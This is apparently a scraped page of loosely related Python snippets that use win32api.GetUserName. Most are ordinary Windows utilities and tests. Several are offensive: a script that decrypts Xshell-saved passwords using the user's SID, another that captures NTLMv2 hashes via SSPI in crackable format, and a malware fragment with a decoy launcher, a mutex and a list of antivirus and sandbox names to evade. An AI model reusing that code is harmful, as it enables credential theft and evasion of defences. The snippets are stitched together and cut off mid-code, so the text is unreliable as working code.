Exemple #1
0
def main(argv):
    import getopt

    def usage():
        error('Usage: %s [-d] [-l logfile] [-s sshdir] [-L addr] [-p port]'
              ' [-c cmdexe] [-u username] [-a authkeys] [-h homedir]'
              ' ssh_host_key ...' % argv[0])
        return 100

    try:
        (opts, args) = getopt.getopt(argv[1:], 'dl:s:L:p:u:a:h:c:')
    except getopt.GetoptError:
        return usage()
    homedir = getpath(shellcon.CSIDL_PROFILE)
    appdata = os.path.join(getpath(shellcon.CSIDL_APPDATA), 'PyRexecd')
    loglevel = logging.INFO
    logfile = None
    sshdir = appdata
    if windows:
        logfile = os.path.join(appdata, 'pyrexecd.log')
    port = 2200
    addr = '127.0.0.1'
    reuseaddr = False
    username = win32api.GetUserName()
    authkeys = []
    cmdexe = ['cmd', '/Q']
    for (k, v) in opts:
        if k == '-d': loglevel = logging.DEBUG
        elif k == '-l': logfile = v
        elif k == '-L': addr = v
        elif k == '-s': sshdir = v
        elif k == '-p': port = int(v)
        elif k == '-u': username = v
        elif k == '-a': authkeys.append(v)
        elif k == '-h': homedir = v
        elif k == '-c': cmdexe = v.split(' ')
    try:
        os.makedirs(sshdir)
    except OSError:
        pass
    logging.basicConfig(level=loglevel, filename=logfile, filemode='a')
    logging.info('Sshdir: %r' % sshdir)
    hostkeys = []
    for path in args:
        if os.path.isfile(path):
            hostkeys.append(get_host_key(path))
    if not hostkeys:
        path = os.path.join(sshdir, 'ssh_host_rsa_key')
        if os.path.isfile(path):
            hostkeys.append(get_host_key(path))
        else:
            key = paramiko.RSAKey.generate(2048)
            key.write_private_key_file(path)
            sig = ':'.join('%02x' % b for b in key.get_fingerprint())
            logging.info('Hostkey is created: %r' % sig)
            error('Hostkey is created: %r' % sig)
            hostkeys.append(key)
    logging.info('Hostkeys: %d' % len(hostkeys))
    if not authkeys:
        authkeys = [os.path.join(sshdir, 'authorized_keys')]
    pubkeys = []
    for path in authkeys:
        if os.path.isfile(path):
            pubkeys.extend(get_authorized_keys(path))
    if not pubkeys:
        shellopen('explore', sshdir)
        logging.error('No authorized_keys found!')
        error('No authorized_keys found!')
        return
    logging.info('Username: %r (pubkeys:%d)' % (username, len(pubkeys)))
    logging.info('Homedir: %r' % homedir)
    logging.info('Cmd.exe: %r' % cmdexe)
    logging.info('Listening: %s:%s...' % (addr, port))
    PyRexecTrayApp.initialize(os.path.dirname(__file__))
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if reuseaddr:
            ra = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, ra | 1)
        sock.bind((addr, port))
        sock.listen(5)
        sock.settimeout(0.05)
        app = PyRexecTrayApp()
        run_server(app,
                   sock,
                   hostkeys,
                   username,
                   pubkeys,
                   homedir,
                   cmdexe,
                   msg=('Listening: %s:%r...' % (addr, port)))
    except (OSError, socket.error) as e:
        logging.error('Error: %r' % e)
        error('Error: %r' % e)
    return
Exemple #2
0
        return ListControl(**kwargs)
    elif controlType.upper() == "LISTITEM":
        return ListItemControl(**kwargs)
    elif controlType.upper() == "PANE":
        return PaneControl(**kwargs)
    elif controlType.upper() == "RADIOBUTTON":
        return RadioButtonControl(**kwargs)
    elif controlType.upper() == "SCROLLBAR":
        return ScrollBarControl(**kwargs)
    elif controlType.upper() == "TEXT":
        return TextControl(**kwargs)
    elif controlType.upper() == "TREE":
        return TreeControl(**kwargs)
    elif controlType.upper() == "TREEITEM":
        return TreeItemControl(**kwargs)
    elif controlType.upper() == "WINDOW":
        return WindowControl(**kwargs)
    elif controlType.upper() == 'PROGRESSBAR':
        return ProgressBarControl(**kwargs)
    elif controlType.upper() == "TAB":
        return TabControl(**kwargs)
    elif controlType.upper() == "TABITEM":
        return TabItemControl(**kwargs)
    else:
        return Control(**kwargs)


if __name__ == '__main__':
    # a = win32net.NetUserGetInfo(win32net.NetGetAnyDCName(), win32api.GetUserName(), 2)
    username = win32api.GetUserName()
    print("Deleting existing task " + task_name)
    ts.Delete(task_name)

t = ts.NewWorkItem(task_name)
t.SetComment("rude comments")
t.SetApplicationName(sys.executable)
t.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS)
t.SetParameters(
    "-c\"import win32ui,time;win32ui.MessageBox('hey bubba I am running');\"")
t.SetWorkingDirectory(os.path.dirname(sys.executable))
t.SetCreator("test_addtask.py")
t.SetMaxRunTime(20000)  # milliseconds
t.SetFlags(taskscheduler.TASK_FLAG_INTERACTIVE
           | taskscheduler.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON)
##               |taskscheduler.TASK_FLAG_DELETE_WHEN_DONE)  #task self destructs when no more future run times
t.SetAccountInformation(win32api.GetUserName(), None)
## None is only valid for local system acct or if task flags contain TASK_FLAG_RUN_ONLY_IF_LOGGED_ON
t.SetWorkItemData("some binary garbage")

run_time = time.localtime(time.time() + 60)
tr_ind, tr = t.CreateTrigger()
tt = tr.GetTrigger()

## flags default to TASK_TRIGGER_FLAG_DISABLED (4)
tt.Flags = taskscheduler.TASK_TRIGGER_FLAG_KILL_AT_DURATION_END
tt.BeginYear = int(time.strftime("%Y", run_time))
tt.BeginMonth = int(time.strftime("%m", run_time))
tt.BeginDay = int(time.strftime("%d", run_time))
tt.StartMinute = int(time.strftime("%M", run_time))
tt.StartHour = int(time.strftime("%H", run_time))
tt.MinutesInterval = 1
# Perform the authentication dance, each loop exchanging more information
# on the way to completing authentication.
sec_buffer = None
while True:
    err, sec_buffer = sspiclient.authorize(sec_buffer)
    err, sec_buffer = sspiserver.authorize(sec_buffer)
    if err == 0:
        break

# The server can now impersonate the client.  In this demo the 2 users will
# always be the same.
sspiserver.ctxt.ImpersonateSecurityContext()
print('Impersonated user: '******'Reverted to self: ', win32api.GetUserName())

pkg_size_info = sspiclient.ctxt.QueryContextAttributes(
    sspicon.SECPKG_ATTR_SIZES)
# Now sign some data
msg = 'some data to be encrypted ......'

sigsize = pkg_size_info['MaxSignature']
sigbuf = win32security.PySecBufferDescType()
sigbuf.append(win32security.PySecBufferType(len(msg), sspicon.SECBUFFER_DATA))
sigbuf.append(win32security.PySecBufferType(sigsize, sspicon.SECBUFFER_TOKEN))
sigbuf[0].Buffer = msg
sspiclient.ctxt.MakeSignature(0, sigbuf, 1)
sspiserver.ctxt.VerifySignature(sigbuf, 1)

# And finally encrypt some.
Exemple #5
0
print(api.GetFullPathName('.'))
print(api.GetLocalTime())
print(api.GetLogicalDriveStrings().replace('\x00', ' '))
print(api.GetLogicalDrives())
print(api.GetLongPathName('C:'))
print(api.GetModuleFileName(0))
print(api.GetNativeSystemInfo())
print(hex(api.GetSysColor(con.COLOR_WINDOW)))
print(api.GetSystemDirectory())
print(api.GetSystemInfo())
print(api.GetSystemMetrics(con.SM_CXSCREEN))
print(api.GetSystemTime())
print(api.GetTickCount())
# print(api.GetTimeZoneInformation())
print(api.GetUserDefaultLangID())
print(api.GetUserName())
print(api.GetVersion())
print(api.GetVolumeInformation('C:'))
print(api.GetWindowsDirectory())
print(api.GlobalMemoryStatus())
print(api.MessageBeep())
print(api.MessageBox(0, 'hello', 'world', con.MB_OK))
size = api.RegQueryInfoKey(con.HKEY_LOCAL_MACHINE)
print(size)
for i in range(size[0]):
    print(api.RegEnumKey(con.HKEY_LOCAL_MACHINE, i))
try:
    print(api.SearchPath('.', 'win32con.txt'))
except:
    print('error')
print(api.WinExec('Notepad'))
def getuser():
    '''return name of current user'''
    return win32api.GetUserName()
Exemple #7
0
from winsys._security import _tokens

token0 = None
alice = None


def setup():
    global token0
    token0 = win32security.OpenProcessToken(win32api.GetCurrentProcess(),
                                            ntsecuritycon.MAXIMUM_ALLOWED)
    global alice
    alice, _, _ = win32security.LookupAccountName(None, "alice")


me, _, _ = win32security.LookupAccountName(None, win32api.GetUserName())


def test_token_None():
    assert _tokens.token(None) is None


def test_token_default():
    assert _tokens.token(
    ).Statistics['AuthenticationId'] == win32security.GetTokenInformation(
        token0, win32security.TokenStatistics)['AuthenticationId']
    assert _tokens.token().Origin == win32security.GetTokenInformation(
        token0, win32security.TokenOrigin)


def test_Token_dump():
Exemple #8
0
    def handle_exception(e_type, e_value, e_traceback):
        traceback.print_exception(
            e_type, e_value, e_traceback
        )  # this is very helpful when there's an exception in the rest of this func
        last_tb = get_last_traceback(e_traceback)
        ex = (last_tb.tb_frame.f_code.co_filename, last_tb.tb_frame.f_lineno)
        if ex not in ignored_exceptions:
            ignored_exceptions.append(ex)
            ##message = "An uncaught error occurred.\n\nDo you mind if an error report is sent to %s?"
            #message = "Do you mind if an error report is sent to %s?"
            #message
            #if wx.MessageBox(message % urlparse.urlparse(cgi_url)[1], 'Uncaught Error', wx.OK|wx.CANCEL|wx.ICON_ERROR) == wx.OK:
            #print 'woof', `wx.GetTextFromUser('x')` # badly returns '' on cancel
            dlg = wx.TextEntryDialog(
                None,
                "Do you mind if an error report is sent to %s?\n\nIf you want to be contacted when a solution is found, please enter your e-mail address:"
                % urlparse.urlparse(cgi_url)[1], 'Uncaught Error', '',
                wx.OK | wx.CANCEL
            )  #|wx.ICON_ERROR) -- can use that style only with wx.MessageBox
            result = dlg.ShowModal()
            email_addr = dlg.GetValue()
            dlg.Destroy()
            if result == wx.ID_OK:
                info = {
                    'app-title': wx.GetApp().GetAppName(),  # app_title
                    'app-version': app_version,
                    'wx-version': wx.VERSION_STRING,
                    'wx-platform': wx.Platform,
                    'python-version':
                    platform.python_version(),  #sys.version.split()[0],
                    'platform': platform.platform(),
                    'e-type': e_type,
                    'e-value': e_value,
                    'date': time.ctime(),
                    'cwd': os.getcwd(),
                    'e-mail':
                    email_addr,  # have to be careful about this colliding with some error.php variable; using a dash probably suffices
                }
                if e_traceback:
                    info['traceback'] = ''.join(
                        traceback.format_tb(
                            e_traceback)) + '%s: %s' % (e_type, e_value)
                    last_tb = get_last_traceback(e_traceback)
                    exception_locals = last_tb.tb_frame.f_locals  # the locals at the level of the stack trace where the exception actually occurred
                    info['locals'] = format_namespace(exception_locals)
                    if 'self' in exception_locals:
                        info['self'] = format_namespace(
                            exception_locals['self'].__dict__)
                if sys.platform == 'win32':
                    import win32api
                    info['user-name'] = win32api.GetUserName()

                busy = wx.BusyCursor()
                try:
                    f = urllib.urlopen(cgi_url, data=urllib.urlencode(info))
                except IOError:
                    pass
                else:
                    #url = f.get_url()
                    #if url != cgi_url:
                    url = f.readline().strip()
                    if url:
                        webbrowser.open_new(url)
                del busy
Exemple #9
0
# The following conditional import ensures that at least --help works
# on non windows platforms
if sys.platform == 'win32':
    import win32api
    from win32security import LookupAccountName, ACL, GetFileSecurity, \
        DACL_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, \
        OWNER_SECURITY_INFORMATION, ACL_REVISION, SetFileSecurity, GetBinarySid
    from ntsecuritycon import CONTAINER_INHERIT_ACE, OBJECT_INHERIT_ACE, \
        INHERIT_ONLY_ACE, STANDARD_RIGHTS_ALL, FILE_GENERIC_READ, \
        FILE_GENERIC_WRITE, FILE_GENERIC_EXECUTE, FILE_DELETE_CHILD, \
        STANDARD_RIGHTS_READ, FILE_READ_ATTRIBUTES, READ_CONTROL, \
        WRITE_DAC, WRITE_OWNER

    # Retrieve some useful SIDs needed to set correct ACLs
    USER, _, _ = LookupAccountName("", win32api.GetUserName())
    print 'User: %s' % win32api.GetUserName()
    EVERYONE = GetBinarySid("S-1-1-0")
    GROUP = GetBinarySid("S-1-5-32-545")
    CREATOR_USER = GetBinarySid("S-1-3-0")
    CREATOR_GROUP = GetBinarySid("S-1-3-1")
    ADMINS = GetBinarySid("S-1-5-32-544")

# List of mirrors to avoid (speeds up detection of fastest Cygwin mirror)
MIRROR_BLACK_LIST = ['http://gd.tuwien.ac.at/gnu/cygwin/']


class CygwinMirror(object):
    """CygwinMirror instance."""

    def __init__(self, download_dir, url=None, reset=False):
Exemple #10
0
 def get_current_user():
     return win32api.GetUserName()
Exemple #11
0
    def get_active_user_token():
        # Figure out the active user token we need to use to run the app as
        ret = None

        # Get the current user name
        user_name = win32api.GetUserName()

        if user_name != "SYSTEM":
            # Running as a logged in user, get the current users token
            current_process = win32process.GetCurrentProcess()
            token = win32security.OpenProcessToken(current_process,
                                                   win32con.MAXIMUM_ALLOWED)
            # win32con.TOKEN_ADJUST_PRIVILEGES | win32con.TOKEN_QUERY)  #

            ret = token

            return ret

        #if user_name == "SYSTEM":
        #    p("}}gnStarted by SYSTEM user (OPEService) - trying to switch user identity}}xx")

        # Get a list of Terminal Service sessions and see which one is active
        active_session = UserAccounts.WTS_INVALID_SESSION_ID
        station_name = ""
        sessions = win32ts.WTSEnumerateSessions(None, 1, 0)

        for session in sessions:
            if session['State'] == UserAccounts.WTSActive:
                # Found the active session
                active_session = session['SessionId']
                station_name = session["WinStationName"]

        # If we didn't find one, try this way
        if active_session == UserAccounts.WTS_INVALID_SESSION_ID:
            active_session = win32ts.WTSGetActiveConsoleSessionId()
        if active_session == UserAccounts.WTS_INVALID_SESSION_ID:
            # User not logged in right now? or lock screen up?
            p("}}gnNo console user or desktop locked}}xx", log_level=1)
            return ret

        # Get the current console session
        #p("Got Console: " + str(active_session), debug_level=5)

        # Login to the terminal service to get the user token for the console id so we can impersonate it
        try:
            #svr = win32ts.WTSOpenServer(".")
            #win32ts.WTSCloseServer(svr)
            user_token = win32ts.WTSQueryUserToken(active_session)

            # Copy the token so we can modify it
            user_token_copy = win32security.DuplicateTokenEx(
                user_token, win32security.SecurityImpersonation,
                win32security.TOKEN_ALL_ACCESS, win32security.TokenPrimary)

            ret = user_token_copy
            user_token.close()
        except Exception as ex:
            p("}}rnUnknown Error - trying to get WTS UserToken\n" + str(ex) +
              "}}xx",
              debug_level=1)
            return ret

        #p("User Token Found " + str(user_token_copy), debug_level=5)

        return ret
Exemple #12
0
import active_directory
import win32api

user = win32api.GetDomainName() + '\\' + win32api.GetUserName()
print('CurUser: '******'Root: ', my_root)

user = active_directory.find_user(win32api.GetUserName())
print('User: '******'Success')
import win32api
import win32security
import base64
from Crypto.Hash import SHA256
from Crypto.Cipher import ARC4
# for Xshell for Xmanager Enterprise 5 build 0837
userSIDString = raw_input(
    'Input SID or leave it empty and the current account\'s SID will be used:')
userSIDString = ""
if (userSIDString == ''):
    CurrentUserName = win32api.GetUserName()
    CurrentComputerName = win32api.GetComputerName()
    userSID = win32security.LookupAccountName(CurrentComputerName,
                                              CurrentUserName)[0]
    userSIDString = win32security.ConvertSidToStringSid(userSID)

encrypted_password = raw_input('Input encrypted password (in Base64 format):')
encrypted_password = base64.b64decode(encrypted_password)
sha256_of_password = encrypted_password[-32:]
encrypted_password = encrypted_password[0:len(encrypted_password) - 32]

key = SHA256.new(userSIDString.encode('ascii')).digest()
rc4_cipher = ARC4.new(key)
password = rc4_cipher.decrypt(encrypted_password)

if SHA256.new(password).digest() == sha256_of_password:
    print(password.decode('ascii'))
else:
    print('Failed to decrypt.')
Exemple #14
0
            win32con.LOGON32_LOGON_INTERACTIVE,
            win32con.LOGON32_PROVIDER_DEFAULT)
        win32security.ImpersonateLoggedOnUser(self.handle)

        self.is_impersonating = True

    def logoff(self):
        if (self.is_impersonating) :
            win32security.RevertToSelf() #terminates impersonation
            self.handle.Close() #guarantees cleanup

    def attemptlogon(self) :
        try :        
            self.logon() #become the user
            self.logoff() #return to normal
            return True
        except :
            return False

        
def tryuser(a,b,c) :
    print a,b,c
    a=Impersonate(a,b,c)
    result = a.attemptlogon()
    print ">", result
    
if ( __name__ == '__main__' ) :

    print win32api.GetUserName() #show you're someone else
    tryuser('domainX','AdministratorX','pass')
def make_private(path):
    """
    Make `path` accessible only by 'owner'.

    path: string
        Path to file or directory to be made private.

    .. note::

        On Windows this requires the pywin32 extension.

    """
    if sys.platform == 'win32':  #pragma no cover
        if not HAVE_PYWIN32:
            raise ImportError('No pywin32')

        # Find the SIDs for user and system.
        username = win32api.GetUserName()

        # Map Cygwin 'root' to 'Administrator'. Typically these are intended
        # to be identical, but /etc/passwd might configure them differently.
        if username == 'root':
            username = '******'
        user, domain, type = win32security.LookupAccountName('', username)
        system, domain, type = win32security.LookupAccountName('', 'System')

        # Find the DACL part of the Security Descriptor for the file
        sd = win32security.GetFileSecurity(
            path, win32security.DACL_SECURITY_INFORMATION)

        # Create a blank DACL and add the ACEs we want.
        dacl = win32security.ACL()
        dacl.AddAccessAllowedAce(win32security.ACL_REVISION,
                                 ntsecuritycon.FILE_ALL_ACCESS, user)
        dacl.AddAccessAllowedAce(win32security.ACL_REVISION,
                                 ntsecuritycon.FILE_ALL_ACCESS, system)

        # Put our new DACL into the Security Descriptor and update the file
        # with the updated SD.
        sd.SetSecurityDescriptorDacl(1, dacl, 0)
        win32security.SetFileSecurity(path,
                                      win32security.DACL_SECURITY_INFORMATION,
                                      sd)
    else:
        # Normal chmod() works on test machines with ACLs enabled, but a user
        # in the field reported a situation where it didn't. This code tries
        # using libacl if it can. Doesn't seem to cause any problems, not
        # verifed that it helps though.
        try:
            # From pylibacl, which requires 'libacl1-dev'.
            import posix1e
        except ImportError:
            mode = 0700 if os.path.isdir(path) else 0600
            os.chmod(path, mode)  # Read/Write/Execute
        else:
            if os.path.isdir(path):
                acl = posix1e.ACL(text='u::rwx,g::-,o::-')
            else:
                acl = posix1e.ACL(text='u::rw,g::-,o::-')
            acl.applyto(path)

    if not is_private(path):
        raise RuntimeError("Can't make %r private" % path)
Exemple #16
0
 def Clean(self):
     Unseal(win32api.GetUserName(), self.target)
     Clean(self.target)
     Reseal(self.user, self.target)
Exemple #17
0
 def test_username(self):
     sys_value = win32api.GetUserName()
     psutil_value = psutil.Process().username()
     self.assertEqual(sys_value, psutil_value.split('\\')[1])
Exemple #18
0
 def UnsealSource(self):
     current_user = win32api.GetUserName()
     print("ShellFolder.Unseal %s" % self.source)
     Unseal(current_user, self.source)
Exemple #19
0
def get_current_username():
    """Returns the current user name"""
    if os.name == 'nt':
        return win32api.GetUserName()
    else:
        return pwd.getpwuid(os.getuid()).pw_name
Exemple #20
0
def runas(cmd, username, password, cwd=None):
    # This only works when not running under the system account
    # Debug mode for example
    if win32api.GetUserName() == 'SYSTEM':
        return runas_system(cmd, username, password)

    # Create a pipe to set as stdout in the child. The write handle needs to be
    # inheritable.
    c2pread, c2pwrite = CreatePipe(inherit_read=False, inherit_write=True)
    errread, errwrite = CreatePipe(inherit_read=False, inherit_write=True)

    # Create inheritable copy of the stdin
    stdin = kernel32.GetStdHandle(STD_INPUT_HANDLE)
    dupin = DuplicateHandle(srchandle=stdin, inherit=True)

    # Get startup info structure
    startup_info = STARTUPINFO(dwFlags=win32con.STARTF_USESTDHANDLES,
                               hStdInput=dupin,
                               hStdOutput=c2pwrite,
                               hStdError=errwrite)

    # Build command
    cmd = 'cmd /c {0}'.format(cmd)

    # Check for a domain
    domain = None
    if '@' in username:
        username, domain = username.split('@')
    if '\\' in username:
        domain, username = username.split('\\')

    # Run command and return process info structure
    process_info = CreateProcessWithLogonW(username=username,
                                           domain=domain,
                                           password=password,
                                           logonflags=LOGON_WITH_PROFILE,
                                           commandline=cmd,
                                           startupinfo=startup_info,
                                           currentdirectory=cwd)

    kernel32.CloseHandle(dupin)
    kernel32.CloseHandle(c2pwrite)
    kernel32.CloseHandle(errwrite)
    kernel32.CloseHandle(process_info.hThread)

    # Initialize ret and set first element
    ret = {'pid': process_info.dwProcessId}

    # Get Standard Out
    fd_out = msvcrt.open_osfhandle(c2pread, os.O_RDONLY | os.O_TEXT)
    with os.fdopen(fd_out, 'r') as f_out:
        ret['stdout'] = f_out.read()

    # Get Standard Error
    fd_err = msvcrt.open_osfhandle(errread, os.O_RDONLY | os.O_TEXT)
    with os.fdopen(fd_err, 'r') as f_err:
        ret['stderr'] = f_err.read()

    # Get Return Code
    if kernel32.WaitForSingleObject(process_info.hProcess, INFINITE) == \
            win32con.WAIT_OBJECT_0:
        exitcode = wintypes.DWORD()
        kernel32.GetExitCodeProcess(process_info.hProcess,
                                    ctypes.byref(exitcode))
        ret['retcode'] = exitcode.value

    # Close handle to process
    kernel32.CloseHandle(process_info.hProcess)

    return ret
Exemple #21
0
def get_name():
    import win32api        #@UnresolvedImport
    return win32api.GetUserName()
    def handle_exception(e_type, e_value, e_traceback):
        traceback.print_exception(e_type, e_value, e_traceback)
        last_tb = get_last_traceback(e_traceback)
        ex = (last_tb.tb_frame.f_code.co_filename, last_tb.tb_frame.f_lineno)
        if ex not in ignored_exceptions:
            ignored_exceptions.append(ex)

            instruction = "An exception was raised, but not catch by the application\n"
            instruction += "A report will be generated : %s\n" % filename
            instruction += "\nTo help developement team, you can :\n"
            instruction += " 1. Add a quick description of the action or/and configuration that results to an exception\n"
            instruction += " 2. Send an email with log report to : %s\n" % app_support
            instruction += "\nQuick description :"
            dlg = wx.TextEntryDialog(None, instruction, "Exception", "", wx.OK)
            result = dlg.ShowModal()
            user = dlg.GetValue()
            dlg.Destroy()
            info = {
                'app-title': wx.GetApp().GetAppName(),  # app_title
                'app-version': app_version,
                'wx-version': wx.VERSION_STRING,
                'wx-platform': wx.Platform,
                'python-version':
                platform.python_version(),  #sys.version.split()[0],
                'platform': platform.platform(),
                'e-type': e_type,
                'e-value': e_value,
                'date': time.ctime(),
                'cwd': os.getcwd(),
                "user": user
            }
            if e_traceback:
                info['traceback'] = ''.join(traceback.format_tb(
                    e_traceback)) + '%s: %s' % (e_type, e_value)
                last_tb = get_last_traceback(e_traceback)
                exception_locals = last_tb.tb_frame.f_locals  # the locals at the level of the stack trace where the exception actually occurred
                info['locals'] = format_namespace(exception_locals)
                if 'self' in exception_locals:
                    info['self'] = format_namespace(
                        exception_locals['self'].__dict__)
            if sys.platform == 'win32':
                import win32api
                info['user-name'] = win32api.GetUserName()

            f = open(filename, "w")

            order = [
                'app-title', 'app-version', 'wx-version', 'wx-platform',
                'python-version', 'platform', 'date', 'cwd', 'e-type',
                'e-value', "user"
            ]
            for k in order:
                f.write("%s:: %s\n" % (k.ljust(16), info[k]))

            k = "traceback"
            if info.has_key(k):
                f.write("%s::\n" % (k.ljust(16)))
                f.write("%s%s\n" %
                        (" ".ljust(19), info[k].replace("\n", "\n".ljust(19))))

            k = "locals"
            if info.has_key(k):
                f.write("%s::\n" % (k.ljust(16)))
                f.write("%s%s\n" %
                        (" ".ljust(19), info[k].replace("\n", "\n".ljust(19))))

            k = "self"
            if info.has_key(k):
                f.write("%s::\n" % (k.ljust(16)))
                f.write("%s%s\n" %
                        (" ".ljust(19), info[k].replace("\n", "\n".ljust(19))))

            f.close()
Exemple #23
0
#!/usr/bin/env python
# coding: utf-8

# In[1]:

import win32api, win32gui, win32con
import win32clipboard as wc
import time

str_ip = ['10.0.0.17', '10.0.0.19']
str_na = ['10.0.0.17 - 远程桌面连接', '10.0.0.19 - 远程桌面连接']

name_user = win32api.GetUserName()
print(name_user)

# In[2]:


# Set the mouse
def Click(position_x, position_y):
    win32api.SetCursorPos([position_x, position_y])
    time.sleep(0.2)
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, position_x, position_y,
                         0, 0)
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, position_x, position_y,
                         0, 0)


# In[3]:

Exemple #24
0
            Hash.append(splits)

        err, sec_buffer = sspiserver.authorize(sec_buffer)
        if args.verbose:
            print hexdump.hexdump(sec_buffer[0].Buffer)

        a = buffer(sec_buffer[0].Buffer, 24, 8)
        dataNonce = binascii.hexlify(a)
        Nonce.append(dataNonce)

        if err == 0:
            break

    if flag == True:
        print "\n[*]-Magic string 0101000000000000 found. SSPI-->NTLMv2 detected."
        print "[*]-User:"******"[*]-Domain:", win32api.GetDomainName()
        print "[*]-Server Challenge:", Nonce[0]
        print "[*]-NTHash:", ''.join(ntlm2hash)
        print "[*]-Client Challenge:", ":0101000000000000" + ClientChallenge[
            1][1]
        print "\n[*]-NTLMv2 Hash Format--><UserName::DomainName:ServerChallenge(8-byte):NThash(16-byte):ClientChallenge>"
        print "[*]-John The Ripper||Hashcat Format:"
        print "\n", win32api.GetUserName() + "::" + win32api.GetDomainName(
        ) + ":" + Nonce[0] + ":" + ''.join(
            ntlm2hash) + ":0101000000000000" + ClientChallenge[1][1]
    else:
        print "\n[*]-SSPI-->NTLMv1 detected."
        print "[*]-User:"******"[*]-Domain:", win32api.GetDomainName()
        print "[*]-NTLMv1 Hash:", ':'.join(Hash[1])
Exemple #25
0
 def testGetCurrentUser(self):
     name = "%s\\%s" % (win32api.GetDomainName(), win32api.GetUserName())
     self.failUnless(
         name == win32api.GetUserNameEx(win32api.NameSamCompatible))
Exemple #26
0
 def testGetUser(self):
     self.assertEquals(win32api.GetUserName(), win32wnet.WNetGetUser())
Exemple #27
0
def get_name():
    return win32api.GetUserName()
Exemple #28
0
def show_cacls(filename):
    print
    for line in os.popen("cacls %s" % filename).read().splitlines():
        print line


#
# Find the SIDs for Everyone, the Admin group and the current user
#
everyone, domain, type = win32security.LookupAccountName("", "z571117")
print everyone, domain, type
everyone, domain, type = win32security.LookupAccountName("", "z482110")
print everyone, domain, type
admins, domain, type = win32security.LookupAccountName("", "Administrators")
user, domain, type = win32security.LookupAccountName("",
                                                     win32api.GetUserName())

print admins, domain, type
print user, domain, type
#
# Touch the file and use CACLS to show its default permissions
# (which will probably be: Admins->Full; Owner->Full; Everyone->Read)
#
#open (FILENAME, "w").close ()
show_cacls(FILENAME)

#
# Find the DACL part of the Security Descriptor for the file
#
sd = win32security.GetFileSecurity(FILENAME,
                                   win32security.DACL_SECURITY_INFORMATION)
Exemple #29
0
def noticesNow():
    global driver
    user_name = win32api.GetUserName()
    try:
        print("Iniciando processo...")
        page = requests.get(
            "https://www.google.com/search?safe=active&sa=X&hl=pt-PT&sxsrf=ALeKk03af9oDJDL8H6TMHQ-Q2h9BOwW_OA:1617280293510&q=noticias+hoje&tbm=nws&source=univ&tbo=u&ved=2ahUKEwiXhpbLht3vAhXeZzABHR6EBPUQt8YBKAJ6BAgFEAM&biw=1009&bih=625"
        )
        soup = BeautifulSoup(page.content, 'html.parser')
        notices = soup.find_all(class_="BNeawe vvjwJb AP7Wnd")
        subNotices = soup.find_all(class_="BNeawe s3v9rd AP7Wnd")
        subNoticesText = []
        noticesText = []
        linkNotices = []
        dictionary = {}
        contatos = "nome_do_grupo"

        for notice in notices:
            noticesText.append(notice.text)

        for subNotice in subNotices:
            subNoticesText.append(subNotice.text)

        for link in soup.find_all('a'):
            linkNotices.append(link.get('href'))

        del linkNotices[0:18]
        for i in range(3):
            del linkNotices[-1]

        replaceLinks = []
        for replaceLink in linkNotices:
            replace = replaceLink.replace("/url?q=", "")
            replaceLinks.append(replace)

        indiceDel = [2, 2, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]
        for i in indiceDel:
            del replaceLinks[i]

        subNoticesText = remove_duplicates(subNoticesText)
        noticesText = remove_duplicates(noticesText)
        lenNotices = len(noticesText)

        for i in range(lenNotices):
            dictionary[noticesText[
                i]] = f"*SUBTITULO*: {subNoticesText[i]} -> *LINK*: {replaceLinks[i]}\n"

        print("Guardando noticias...")
        with open(f'C:\\Users\\{user_name}\\Documents\\noticias.txt',
                  'a') as path:
            for key, value in dictionary.items():
                path.write(f"*TITULO*: {key} -> {value}\n")
            path.close()

        listText = lineText()
        print("Iniciando o chorme...")
        chorme_driver = f"C:\\tempPython\\chromedriver.exe"
        chrome_options = Options()
        #chrome_options.add_argument("headless")
        chrome_options.add_argument('--user-data-dir=./User_Data')
        driver = webdriver.Chrome(executable_path=chorme_driver,
                                  options=chrome_options)
        driver.get('https://web.whatsapp.com/')
        print("Só um momento...")
        sleep(10)

        print("No wpp web quase enviando as noticias do dia...")
        x = driver.find_element_by_xpath(
            f"//span[@title='{contatos}']"
        )  # Achando o contato com o nome selecionado
        sleep(3)
        x.click()
        input = driver.find_element_by_xpath(
            "//*[@id='main']/footer/div[1]/div[2]")
        sleep(3)
        print("Digitando as noticias....")
        input.click()
        input.send_keys(listText)
        sleep(1)
        btn = driver.find_element_by_xpath("//span[@data-testid='send']")
        sleep(3)
        btn.click()
        sleep(5)
        open(f'C:\\Users\\{user_name}\\Documents\\noticias.txt', 'w').close()
        driver.close()
        sys.exit()
    except NoSuchElementException:
        open(f'C:\\Users\\{user_name}\\Documents\\noticias.txt', 'w').close()
        driver.close()
        sys.exit()
    except IndexError:
        print("Ocorreu um erro desconhecido")
        open(f'C:\\Users\\{user_name}\\Documents\\noticias.txt', 'w').close()
        driver.close()
        sys.exit()
Exemple #30
0
# Open decoy app if decoy name
hideSelf = True
if USB_NAME in sys.argv[0]:
	hideSelf = False
	os.system("C:\\Windows\\write.exe")

# Check mutex to detect multilaunch
if (len(sys.argv) == 1):
	mutex = win32event.CreateMutex(None, 1, "dreamcatchr")
	if (win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS):
		os._exit(420)

# Stuff we want nothing to do wit
evadeList = ["avast", "norman", "comodo", "anitvirus", "virus", "reverse", "vmware-tray.exe", "vmmap.exe", "ollydbg.exe", "olly debug", "debugger", "debugging", "radare", "malware", "procdump.exe", "debug", "Procmon.exe", "norton", "trend micro", "eset", "kaspersky", "sandbox", "vmware", "virtualbox", "VBoxTray.exe", "VBoxService.exe", "Norton", "analyzing", "love"]
systemTokens = win32api.GetConsoleTitle().split(" ")
systemTokens.append(win32api.GetUserName())
systemTokens.append(win32api.GetDomainName())
systemTokens.append(win32api.GetComputerName())

# Path tokens
for token in os.getcwd().split("\\"):
	systemTokens.append(token)

# Process tokens
drmwmi = wmi.WMI()
for process in drmwmi.Win32_Process():
	systemTokens.append(process.Name)

from core import *

# Post imports for actual execution